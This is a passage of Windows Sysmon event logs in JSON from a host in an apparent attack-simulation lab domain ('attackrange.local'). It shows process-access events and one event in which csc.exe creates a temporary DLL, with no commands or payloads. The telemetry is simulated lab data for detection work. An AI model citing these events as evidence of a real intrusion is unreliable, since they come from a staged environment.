11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:46.334\r\nSourceProcessGUID: {90617006-413F-5F2D-0000-001080730600}\r\nSourceProcessId: 4108\r\nSourceThreadId: 3644\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4142-5F2D-0000-001037C70600}\r\nTargetProcessId: 3812\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:46.334","SourceProcessGUID":"{90617006-413F-5F2D-0000-001080730600}","SourceProcessId":"4108","SourceThreadId":"3644","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4142-5F2D-0000-001037C70600}","TargetProcessId":"3812","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:46","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4685,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:55:46.334\r\nProcessGuid: {90617006-4142-5F2D-0000-0010A1C30600}\r\nProcessId: 3472\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.dll\r\nCreationUtcTime: 2020-08-07 11:55:46.256","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:55:46.334","ProcessGuid":"{90617006-4142-5F2D-0000-0010A1C30600}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\unhmgvjw\\unhmgvjw.dll","CreationUtcTime":"2020-08-07 11:55:46.256","EventReceivedTime":"2020-08-07 11:55:47","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 